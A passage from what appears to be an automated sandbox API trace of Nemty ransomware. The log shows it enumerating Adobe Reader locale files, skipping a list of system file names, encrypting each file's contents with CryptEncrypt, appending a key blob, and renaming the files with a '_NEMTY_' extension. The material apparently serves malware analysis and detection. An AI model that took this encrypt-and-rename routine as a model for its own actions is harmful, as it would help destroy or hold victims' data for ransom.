lpUsedDefaultChar=0x0) returned 12 [0179.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.JPN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.117] Sleep (dwMilliseconds=0x5) [0179.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6b11d0, dwHighDateTime=0x1d561e8)) [0179.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6b11d0, dwHighDateTime=0x1d561e8)) [0179.133] GetLastError () returned 0x0 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.133] GetLastError () returned 0x0 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.133] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.133] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.133] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.133] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="8j0LqWdjAXvUizEmZUB+putk3y/KYXwXNGKTmCCBbbwvICeUDqfRfzfUJkLwUoR0\r\noVI919S+7hUqCHq60oLcuss3dygYNjtUe4TZsA7iMsBxaGSOUTFrXIkT5hiIz0aM\r\nTmOmxW9UTNCErylehmVzIt7heSlBpLgdU+rm0D5F1PFHi65A18Io4fToaHpDSdD8\r\nUZces9ry0JhmXazoHMisGzMkPPE3Lpw2sn+78WnxRQcLLEPLBB737MmTLNYZMM97\r\nKMtw1lcfqSy14kIFDGhVR97fvP1HtqHj7FUEqopJW4tA6qOiSRJJdMyZjLSSeXq2\r\n3j96vP/M0lP83PJRdfJOFw==\r\n", pcchString=0x653e5dc) returned 1 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.134] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1019392) returned 1 [0179.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.134] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.134] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.142] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.142] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.143] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1019392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf8e00 [0179.143] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.144] CloseHandle (hObject=0x2e8) returned 1 [0179.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.145] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.145] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\RdLang32.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\rdlang32.jpn._nemty_kgobjgd_")) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.145] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.JPN", cAlternateFileName="READOU~1.JPN")) returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2=".") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="..") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="...") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="windows") returned -1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="rsa") returned -1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="NTDETECT.COM") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="ntldr") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="MSDOS.SYS") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="IO.SYS") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="boot.ini") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="boot.ini") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="ntuser.dat") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="desktop.ini") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="CONFIG.SYS") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="RECYCLER") returned -1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="bootmgr") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="programdata") returned 1 [0179.146] lstrcmpiW (lpString1="ReadOutLoud.JPN", lpString2="appdata") returned 1 [0179.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.JPN", lpUsedDefaultChar=0x0) returned 15 [0179.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.JPN", lpUsedDefaultChar=0x0) returned 15 [0179.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.JPN", lpUsedDefaultChar=0x0) returned 15 [0179.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.JPN", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.JPN", lpUsedDefaultChar=0x0) returned 15 [0179.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.147] Sleep (dwMilliseconds=0x5) [0179.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6d7330, dwHighDateTime=0x1d561e8)) [0179.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e6d7330, dwHighDateTime=0x1d561e8)) [0179.148] GetLastError () returned 0x0 [0179.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.148] GetLastError () returned 0x0 [0179.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.148] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.148] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.149] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.149] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="RbWE51QuIl1Fov1Yi+S85FM1kjEKESRIk3CGFK7ozqj9cKer5EW4MlnjpvgmFaSu\r\nWDfNm4R4bDoKMFhAjk6hy1gI0whMD2JE1kj5OhPU1pa9GWl0cq1h7iEvpx3caN0G\r\nusLqBb0TBdksgnMgDtBhaTSXpscwO/I7CiaNPO957f7nM9Sy/DMIDgj0wcV3UIsf\r\ng7DBYW9nvQ0pPqGU6G2llMTH2bhIUhxSQCAt4VFwJCJyaI400e1fi/XjiKY3i2GK\r\n0M5nEHI6ApQqgcMJhTINE/MqZ/TwTSaWwCTDg6JNcrEL+g9MEUZL3D5WTMY0NRR9\r\nlmIiWu7K+Ewm6gjunoAhvg==\r\n", pcchString=0x653e5dc) returned 1 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.149] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=9216) returned 1 [0179.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6352c48 [0179.149] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.149] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2400, lpOverlapped=0x0) returned 1 [0179.151] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.151] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2400, lpOverlapped=0x0) returned 1 [0179.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.151] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0179.151] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.151] CloseHandle (hObject=0x2e8) returned 1 [0179.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\ReadOutLoud.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\readoutloud.jpn._nemty_kgobjgd_")) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.153] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.JPN", cAlternateFileName="")) returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2=".") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="..") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="...") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="windows") returned -1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="rsa") returned -1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="NTDETECT.COM") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="ntldr") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="MSDOS.SYS") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="IO.SYS") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="boot.ini") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="boot.ini") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="ntuser.dat") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="desktop.ini") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="CONFIG.SYS") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="RECYCLER") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="bootmgr") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="programdata") returned 1 [0179.153] lstrcmpiW (lpString1="reflow.JPN", lpString2="appdata") returned 1 [0179.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 